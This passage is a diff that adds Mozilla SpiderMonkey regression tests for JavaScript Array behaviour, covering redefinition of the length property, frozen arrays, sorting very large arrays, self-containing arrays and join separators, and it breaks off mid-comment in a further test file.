+{
+ var obj = { length: 0, 65530: 42 };
+ doTest(obj, 65530);
+}
+for (var i = 0; i < 50; i++)
+ testPop6();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Array/redefine-length-accessor.js b/js/src/tests/non262/Array/redefine-length-accessor.js
new file mode 100644
index 0000000000..339a3dd0fa
--- /dev/null
+++ b/js/src/tests/non262/Array/redefine-length-accessor.js
@@ -0,0 +1,42 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var absent = {};
+
+var getterValues = [absent, undefined, function(){}];
+var setterValues = [absent, undefined, function(){}];
+var configurableValues = [absent, true, false];
+var enumerableValues = [absent, true, false];
+
+function CreateDescriptor(getter, setter, enumerable, configurable) {
+ var descriptor = {};
+ if (getter !== absent)
+ descriptor.get = getter;
+ if (setter !== absent)
+ descriptor.set = setter;
+ if (configurable !== absent)
+ descriptor.configurable = configurable;
+ if (enumerable !== absent)
+ descriptor.enumerable = enumerable;
+ return descriptor;
+}
+
+getterValues.forEach(function(getter) {
+ setterValues.forEach(function(setter) {
+ enumerableValues.forEach(function(enumerable) {
+ configurableValues.forEach(function(configurable) {
+ var descriptor = CreateDescriptor(getter, setter, enumerable, configurable);
+ if (!("get" in descriptor || "set" in descriptor))
+ return;
+
+ assertThrowsInstanceOf(function() {
+ Object.defineProperty([], "length", descriptor);
+ }, TypeError);
+ });
+ });
+ });
+});
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/redefine-length-frozen-array.js b/js/src/tests/non262/Array/redefine-length-frozen-array.js
new file mode 100644
index 0000000000..ca3b43018b
--- /dev/null
+++ b/js/src/tests/non262/Array/redefine-length-frozen-array.js
@@ -0,0 +1,26 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 866580;
+var summary = "Assertion redefining length property of a frozen array";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var arr = Object.freeze([]);
+Object.defineProperty(arr, "length", {});
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Array/redefine-length-frozen-dictionarymode-array.js b/js/src/tests/non262/Array/redefine-length-frozen-dictionarymode-array.js
new file mode 100644
index 0000000000..bca6e0cd72
--- /dev/null
+++ b/js/src/tests/non262/Array/redefine-length-frozen-dictionarymode-array.js
@@ -0,0 +1,36 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 880591;
+var summary =
+ "Assertion redefining length property of a frozen dictionary-mode array";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function convertToDictionaryMode(arr)
+{
+ Object.defineProperty(arr, 0, { configurable: true });
+ Object.defineProperty(arr, 1, { configurable: true });
+ delete arr[0];
+}
+
+var arr = [];
+convertToDictionaryMode(arr);
+Object.freeze(arr);
+Object.defineProperty(arr, "length", {});
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Array/redefine-nonwritable-length-custom-conversion-call-counts.js b/js/src/tests/non262/Array/redefine-nonwritable-length-custom-conversion-call-counts.js
new file mode 100644
index 0000000000..b77f396751
--- /dev/null
+++ b/js/src/tests/non262/Array/redefine-nonwritable-length-custom-conversion-call-counts.js
@@ -0,0 +1,45 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 866700;
+var summary = "Assertion redefining non-writable length to a non-numeric value";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var count = 0;
+
+var convertible =
+ {
+ valueOf: function()
+ {
+ count++;
+ return 0;
+ }
+ };
+
+var arr = [];
+Object.defineProperty(arr, "length", { value: 0, writable: false });
+
+Object.defineProperty(arr, "length", { value: convertible });
+assertEq(count, 2);
+
+Object.defineProperty(arr, "length", { value: convertible });
+assertEq(count, 4);
+
+assertEq(arr.length, 0);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Array/redefine-nonwritable-length-custom-conversion-throw.js b/js/src/tests/non262/Array/redefine-nonwritable-length-custom-conversion-throw.js
new file mode 100644
index 0000000000..f3003a6bdb
--- /dev/null
+++ b/js/src/tests/non262/Array/redefine-nonwritable-length-custom-conversion-throw.js
@@ -0,0 +1,58 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 866700;
+var summary = "Assertion redefining non-writable length to a non-numeric value";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var count = 0;
+
+var convertible =
+ {
+ valueOf: function()
+ {
+ count++;
+ if (count > 2)
+ return 0;
+ throw new SyntaxError("fnord");
+ }
+ };
+
+var arr = [];
+Object.defineProperty(arr, "length", { value: 0, writable: false });
+
+try
+{
+ Object.defineProperty(arr, "length",
+ {
+ value: convertible,
+ writable: true,
+ configurable: true,
+ enumerable: true
+ });
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e instanceof SyntaxError, true, "expected SyntaxError, got " + e);
+}
+
+assertEq(count, 1);
+assertEq(arr.length, 0);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Array/redefine-nonwritable-length-nonnumeric.js b/js/src/tests/non262/Array/redefine-nonwritable-length-nonnumeric.js
new file mode 100644
index 0000000000..aab9c1d5d2
--- /dev/null
+++ b/js/src/tests/non262/Array/redefine-nonwritable-length-nonnumeric.js
@@ -0,0 +1,32 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 866700;
+var summary = "Assertion redefining non-writable length to a non-numeric value";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var arr = [];
+Object.defineProperty(arr, "length", { value: 0, writable: false });
+
+// Per Array's magical behavior, the value in the descriptor gets canonicalized
+// *before* SameValue comparisons occur, so this shouldn't throw.
+Object.defineProperty(arr, "length", { value: '' });
+
+assertEq(arr.length, 0);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Array/regress-101488.js b/js/src/tests/non262/Array/regress-101488.js
new file mode 100644
index 0000000000..f8372e7d92
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-101488.js
@@ -0,0 +1,135 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 24 September 2001
+ *
+ * SUMMARY: Try assigning arr.length = new Number(n)
+ * From correspondence with Igor Bukanov <igor@icesoft.no>
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=101488
+ *
+ * Without the "new" keyword, assigning arr.length = Number(n) worked.
+ * But with it, Rhino was giving an error "Inappropriate array length"
+ * and SpiderMonkey was exiting without giving any error or return value -
+ *
+ * Comments on the Rhino code by igor@icesoft.no:
+ *
+ * jsSet_length requires that the new length value should be an instance
+ * of Number. But according to Ecma 15.4.5.1, item 12-13, an error should
+ * be thrown only if ToUint32(length_value) != ToNumber(length_value)
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 101488;
+var summary = 'Try assigning arr.length = new Number(n)';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var arr = [];
+
+
+status = inSection(1);
+arr = Array();
+tryThis('arr.length = new Number(1);');
+actual = arr.length;
+expect = 1;
+addThis();
+
+status = inSection(2);
+arr = Array(5);
+tryThis('arr.length = new Number(1);');
+actual = arr.length;
+expect = 1;
+addThis();
+
+status = inSection(3);
+arr = Array();
+tryThis('arr.length = new Number(17);');
+actual = arr.length;
+expect = 17;
+addThis();
+
+status = inSection(4);
+arr = Array(5);
+tryThis('arr.length = new Number(17);');
+actual = arr.length;
+expect = 17;
+addThis();
+
+
+/*
+ * Also try the above with the "new" keyword before Array().
+ * Array() and new Array() should be equivalent, by ECMA 15.4.1.1
+ */
+status = inSection(5);
+arr = new Array();
+tryThis('arr.length = new Number(1);');
+actual = arr.length;
+expect = 1;
+addThis();
+
+status = inSection(6);
+arr = new Array(5);
+tryThis('arr.length = new Number(1);');
+actual = arr.length;
+expect = 1;
+addThis();
+
+arr = new Array();
+tryThis('arr.length = new Number(17);');
+actual = arr.length;
+expect = 17;
+addThis();
+
+status = inSection(7);
+arr = new Array(5);
+tryThis('arr.length = new Number(17);');
+actual = arr.length;
+expect = 17;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function tryThis(s)
+{
+ try
+ {
+ eval(s);
+ }
+ catch(e)
+ {
+ // keep going
+ }
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Array/regress-101964.js b/js/src/tests/non262/Array/regress-101964.js
new file mode 100644
index 0000000000..4e82863b1c
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-101964.js
@@ -0,0 +1,83 @@
+// |reftest| random -- bogus perf test (bug 467263)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+/*
+ * Date: 27 September 2001
+ *
+ * SUMMARY: Performance: truncating even very large arrays should be fast!
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=101964
+ *
+ * Adjust this testcase if necessary. The FAST constant defines
+ * an upper bound in milliseconds for any truncation to take.
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 101964;
+var summary = 'Performance: truncating even very large arrays should be fast!';
+var BIG = 10000000;
+var LITTLE = 10;
+var FAST = 50; // array truncation should be 50 ms or less to pass the test
+var MSG_FAST = 'Truncation took less than ' + FAST + ' ms';
+var MSG_SLOW = 'Truncation took ';
+var MSG_MS = ' ms';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+
+status = inSection(1);
+var arr = Array(BIG);
+var start = new Date();
+arr.length = LITTLE;
+actual = elapsedTime(start);
+expect = FAST;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function elapsedTime(startTime)
+{
+ return new Date() - startTime;
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = isThisFast(actual);
+ expectedvalues[UBound] = isThisFast(expect);
+ UBound++;
+}
+
+
+function isThisFast(ms)
+{
+ if (ms <= FAST)
+ return MSG_FAST;
+ return MSG_SLOW + ms + MSG_MS;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Array/regress-107138.js b/js/src/tests/non262/Array/regress-107138.js
new file mode 100644
index 0000000000..26d311fb5f
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-107138.js
@@ -0,0 +1,174 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 29 October 2001
+ *
+ * SUMMARY: Regression test for bug 107138
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=107138
+ *
+ * The bug: arr['1'] == undefined instead of arr['1'] == 'one'.
+ * The bug was intermittent and did not always occur...
+ *
+ * The cnSTRESS constant defines how many times to repeat this test.
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var cnSTRESS = 10;
+var cnDASH = '-';
+var BUGNUMBER = 107138;
+var summary = 'Regression test for bug 107138';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+var arr = ['zero', 'one', 'two', 'three', 'four', 'five',
+ 'six', 'seven', 'eight', 'nine', 'ten'];
+
+
+// This bug was intermittent. Stress-test it.
+for (var j=0; j<cnSTRESS; j++)
+{
+ status = inSection(j + cnDASH + 1);
+ actual = arr[0];
+ expect = 'zero';
+ addThis();
+
+ status = inSection(j + cnDASH + 2);
+ actual = arr['0'];
+ expect = 'zero';
+ addThis();
+
+ status = inSection(j + cnDASH + 3);
+ actual = arr[1];
+ expect = 'one';
+ addThis();
+
+ status = inSection(j + cnDASH + 4);
+ actual = arr['1'];
+ expect = 'one';
+ addThis();
+
+ status = inSection(j + cnDASH + 5);
+ actual = arr[2];
+ expect = 'two';
+ addThis();
+
+ status = inSection(j + cnDASH + 6);
+ actual = arr['2'];
+ expect = 'two';
+ addThis();
+
+ status = inSection(j + cnDASH + 7);
+ actual = arr[3];
+ expect = 'three';
+ addThis();
+
+ status = inSection(j + cnDASH + 8);
+ actual = arr['3'];
+ expect = 'three';
+ addThis();
+
+ status = inSection(j + cnDASH + 9);
+ actual = arr[4];
+ expect = 'four';
+ addThis();
+
+ status = inSection(j + cnDASH + 10);
+ actual = arr['4'];
+ expect = 'four';
+ addThis();
+
+ status = inSection(j + cnDASH + 11);
+ actual = arr[5];
+ expect = 'five';
+ addThis();
+
+ status = inSection(j + cnDASH + 12);
+ actual = arr['5'];
+ expect = 'five';
+ addThis();
+
+ status = inSection(j + cnDASH + 13);
+ actual = arr[6];
+ expect = 'six';
+ addThis();
+
+ status = inSection(j + cnDASH + 14);
+ actual = arr['6'];
+ expect = 'six';
+ addThis();
+
+ status = inSection(j + cnDASH + 15);
+ actual = arr[7];
+ expect = 'seven';
+ addThis();
+
+ status = inSection(j + cnDASH + 16);
+ actual = arr['7'];
+ expect = 'seven';
+ addThis();
+
+ status = inSection(j + cnDASH + 17);
+ actual = arr[8];
+ expect = 'eight';
+ addThis();
+
+ status = inSection(j + cnDASH + 18);
+ actual = arr['8'];
+ expect = 'eight';
+ addThis();
+
+ status = inSection(j + cnDASH + 19);
+ actual = arr[9];
+ expect = 'nine';
+ addThis();
+
+ status = inSection(j + cnDASH + 20);
+ actual = arr['9'];
+ expect = 'nine';
+ addThis();
+
+ status = inSection(j + cnDASH + 21);
+ actual = arr[10];
+ expect = 'ten';
+ addThis();
+
+ status = inSection(j + cnDASH + 22);
+ actual = arr['10'];
+ expect = 'ten';
+ addThis();
+}
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Array/regress-108440.js b/js/src/tests/non262/Array/regress-108440.js
new file mode 100644
index 0000000000..d83c4164ac
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-108440.js
@@ -0,0 +1,77 @@
+// |reftest| skip-if(Android) -- bug - nsIDOMWindow.crypto throws NS_ERROR_NOT_IMPLEMENTED on Android
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 30 October 2001
+ * SUMMARY: Regression test for bug 108440
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=108440
+ *
+ * We shouldn't crash trying to add an array as an element of itself (!)
+ *
+ * Brendan: "...it appears that Array.prototype.toString is unsafe,
+ * and what's more, ECMA-262 Edition 3 has no helpful words about
+ * avoiding recursive death on a cycle."
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 108440;
+var summary = "Shouldn't crash trying to add an array as an element of itself";
+var self = this;
+var temp = '';
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/*
+ * Explicit test:
+ */
+var a=[];
+temp = (a[a.length]=a);
+
+/*
+ * Implicit test (one of the properties of |self| is |a|)
+ */
+a=[];
+for(var prop in self)
+{
+ temp = prop;
+ temp = (a[a.length] = self[prop]);
+}
+
+/*
+ * Stressful explicit test
+ */
+a=[];
+for (var i=0; i<10; i++)
+{
+ a[a.length] = a;
+}
+
+/*
+ * Test toString()
+ */
+a=[];
+for (var i=0; i<10; i++)
+{
+ a[a.length] = a.toString();
+}
+
+/*
+ * Test toSource() - but Rhino doesn't have this, so try...catch it
+ */
+a=[];
+try
+{
+ for (var i=0; i<10; i++)
+ {
+ a[a.length] = a.toSource();
+ }
+}
+catch(e)
+{
+}
+
+reportCompare('No Crash', 'No Crash', '');
diff --git a/js/src/tests/non262/Array/regress-130451.js b/js/src/tests/non262/Array/regress-130451.js
new file mode 100644
index 0000000000..3ccf3d9dff
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-130451.js
@@ -0,0 +1,182 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 25 Mar 2002
+ * SUMMARY: Array.prototype.sort() should not (re-)define .length
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=130451
+ *
+ * From the ECMA-262 Edition 3 Final spec:
+ *
+ * NOTE: The sort function is intentionally generic; it does not require that
+ * its |this| value be an Array object. Therefore, it can be transferred to
+ * other kinds of objects for use as a method. Whether the sort function can
+ * be applied successfully to a host object is implementation-dependent.
+ *
+ * The interesting parts of this testcase are the contrasting expectations for
+ * Brendan's test below, when applied to Array objects vs. non-Array objects.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 130451;
+var summary = 'Array.prototype.sort() should not (re-)define .length';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var arr = [];
+var cmp = new Function();
+
+
+/*
+ * First: test Array.prototype.sort() on Array objects
+ */
+status = inSection(1);
+arr = [0,1,2,3];
+cmp = function(x,y) {return x-y;};
+actual = arr.sort(cmp).length;
+expect = 4;
+addThis();
+
+status = inSection(2);
+arr = [0,1,2,3];
+cmp = function(x,y) {return y-x;};
+actual = arr.sort(cmp).length;
+expect = 4;
+addThis();
+
+status = inSection(3);
+arr = [0,1,2,3];
+cmp = function(x,y) {return x-y;};
+arr.length = 1;
+actual = arr.sort(cmp).length;
+expect = 1;
+addThis();
+
+/*
+ * This test is by Brendan. Setting arr.length to
+ * 2 and then 4 should cause elements to be deleted.
+ */
+arr = [0,1,2,3];
+cmp = function(x,y) {return x-y;};
+arr.sort(cmp);
+
+status = inSection(4);
+actual = arr.join();
+expect = '0,1,2,3';
+addThis();
+
+status = inSection(5);
+actual = arr.length;
+expect = 4;
+addThis();
+
+status = inSection(6);
+arr.length = 2;
+actual = arr.join();
+expect = '0,1';
+addThis();
+
+status = inSection(7);
+arr.length = 4;
+actual = arr.join();
+expect = '0,1,,'; //<---- see how 2,3 have been lost
+addThis();
+
+
+
+/*
+ * Now test Array.prototype.sort() on non-Array objects
+ */
+status = inSection(8);
+var obj = new Object();
+obj.sort = Array.prototype.sort;
+obj.length = 4;
+obj[0] = 0;
+obj[1] = 1;
+obj[2] = 2;
+obj[3] = 3;
+cmp = function(x,y) {return x-y;};
+actual = obj.sort(cmp).length;
+expect = 4;
+addThis();
+
+
+/*
+ * Here again is Brendan's test. Unlike the array case
+ * above, the setting of obj.length to 2 and then 4
+ * should NOT cause elements to be deleted
+ */
+obj = new Object();
+obj.sort = Array.prototype.sort;
+obj.length = 4;
+obj[0] = 3;
+obj[1] = 2;
+obj[2] = 1;
+obj[3] = 0;
+cmp = function(x,y) {return x-y;};
+obj.sort(cmp); //<---- this is what triggered the buggy behavior below
+obj.join = Array.prototype.join;
+
+status = inSection(9);
+actual = obj.join();
+expect = '0,1,2,3';
+addThis();
+
+status = inSection(10);
+actual = obj.length;
+expect = 4;
+addThis();
+
+status = inSection(11);
+obj.length = 2;
+actual = obj.join();
+expect = '0,1';
+addThis();
+
+/*
+ * Before this bug was fixed, |actual| held the value '0,1,,'
+ * as in the Array-object case at top. This bug only occurred
+ * if Array.prototype.sort() had been applied to |obj|,
+ * as we have done higher up.
+ */
+status = inSection(12);
+obj.length = 4;
+actual = obj.join();
+expect = '0,1,2,3';
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Array/regress-154338.js b/js/src/tests/non262/Array/regress-154338.js
new file mode 100644
index 0000000000..e24610ea7b
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-154338.js
@@ -0,0 +1,87 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 26 June 2002
+ * SUMMARY: Testing array.join() when separator is a variable, not a literal
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=154338
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 154338;
+var summary = 'Test array.join() when separator is a variable, not a literal';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * Note that x === 'H' and y === 'ome'.
+ *
+ * Yet for some reason, using |x| or |y| as the separator
+ * in arr.join() was causing out-of-memory errors, whereas
+ * using the literals 'H', 'ome' was not -
+ *
+ */
+var x = 'Home'[0];
+var y = ('Home'.split('H'))[1];
+
+
+status = inSection(1);
+var arr = Array('a', 'b');
+actual = arr.join('H');
+expect = 'aHb';
+addThis();
+
+status = inSection(2);
+arr = Array('a', 'b');
+actual = arr.join(x);
+expect = 'aHb';
+addThis();
+
+status = inSection(3);
+arr = Array('a', 'b');
+actual = arr.join('ome');
+expect = 'aomeb';
+addThis();
+
+status = inSection(4);
+arr = Array('a', 'b');
+actual = arr.join(y);
+expect = 'aomeb';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Array/regress-157652.js b/js/src/tests/non262/Array/regress-157652.js
new file mode 100644
index 0000000000..b21dcc3ddf
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-157652.js
@@ -0,0 +1,117 @@
+// |reftest| skip-if(xulRuntime.XPCOMABI.match(/x86_64|aarch64|ppc64|ppc64le|s390x|mips64/)||Android) -- No test results
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 16 July 2002
+ * SUMMARY: Testing that Array.sort() doesn't crash on very large arrays
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=157652
+ *
+ * How large can a JavaScript array be?
+ * ECMA-262 Ed.3 Final, Section 15.4.2.2 : new Array(len)
+ *
+ * This states that |len| must be a a uint32_t (unsigned 32-bit integer).
+ * Note the UBound for uint32's is 2^32 -1 = 0xFFFFFFFF = 4,294,967,295.
+ *
+ * Check:
+ * js> var arr = new Array(0xFFFFFFFF)
+ * js> arr.length
+ * 4294967295
+ *
+ * js> var arr = new Array(0x100000000)
+ * RangeError: invalid array length
+ *
+ *
+ * We'll try the largest possible array first, then a couple others.
+ * We're just testing that we don't crash on Array.sort().
+ *
+ * Try to be good about memory by nulling each array variable after it is
+ * used. This will tell the garbage collector the memory is no longer needed.
+ *
+ * As of 2002-08-13, the JS shell runs out of memory no matter what we do,
+ * when trying to sort such large arrays.
+ *
+ * We only want to test that we don't CRASH on the sort. So it will be OK
+ * if we get the JS "out of memory" error. Note this terminates the test
+ * with exit code 3. Therefore we put
+ *
+ * |expectExitCode(3);|
+ *
+ * The only problem will arise if the JS shell ever DOES have enough memory
+ * to do the sort. Then this test will terminate with the normal exit code 0
+ * and fail.
+ *
+ * Right now, I can't see any other way to do this, because "out of memory"
+ * is not a catchable error: it cannot be trapped with try...catch.
+ *
+ *
+ * FURTHER HEADACHE: Rhino can't seem to handle the largest array: it hangs.
+ * So we skip this case in Rhino. Here is correspondence with Igor Bukanov.
+ * He explains that Rhino isn't actually hanging; it's doing the huge sort:
+ *
+ * Philip Schwartau wrote:
+ *
+ * > Hi,
+ * >
+ * > I'm getting a graceful OOM message on trying to sort certain large
+ * > arrays. But if the array is too big, Rhino simply hangs. Note that ECMA
+ * > allows array lengths to be anything less than Math.pow(2,32), so the
+ * > arrays I'm sorting are legal.
+ * >
+ * > Note below, I'm getting an instantaneous OOM error on arr.sort() for LEN
+ * > = Math.pow(2, 30). So shouldn't I also get one for every LEN between
+ * > that and Math.pow(2, 32)? For some reason, I start to hang with 100% CPU
+ * > as LEN hits, say, Math.pow(2, 31) and higher. SpiderMonkey gives OOM
+ * > messages for all of these. Should I file a bug on this?
+ *
+ * Igor Bukanov wrote:
+ *
+ * This is due to different sorting algorithm Rhino uses when sorting
+ * arrays with length > Integer.MAX_VALUE. If length can fit Java int,
+ * Rhino first copies internal spare array to a temporary buffer, and then
+ * sorts it, otherwise it sorts array directly. In case of very spare
+ * arrays, that Array(big_number) generates, it is rather inefficient and
+ * generates OutOfMemory if length fits int. It may be worth in your case
+ * to optimize sorting to take into account array spareness, but then it
+ * would be a good idea to file a bug about ineficient sorting of spare
+ * arrays both in case of Rhino and SpiderMonkey as SM always uses a
+ * temporary buffer.
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 157652;
+var summary = "Testing that Array.sort() doesn't crash on very large arrays";
+var expect = 'No Crash';
+var actual = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+expectExitCode(0);
+expectExitCode(5);
+
+try
+{
+ var a1=Array(0xFFFFFFFF);
+ a1.sort();
+ a1 = null;
+
+ var a2 = Array(0x40000000);
+ a2.sort();
+ a2=null;
+
+ var a3=Array(0x10000000/4);
+ a3.sort();
+ a3=null;
+}
+catch(ex)
+{
+ // handle changed 1.9 branch behavior. see bug 422348
+ expect = 'InternalError: allocation size overflow';
+ actual = ex + '';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Array/regress-178722.js b/js/src/tests/non262/Array/regress-178722.js
new file mode 100644
index 0000000000..49c63bcbfe
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-178722.js
@@ -0,0 +1,127 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 06 November 2002
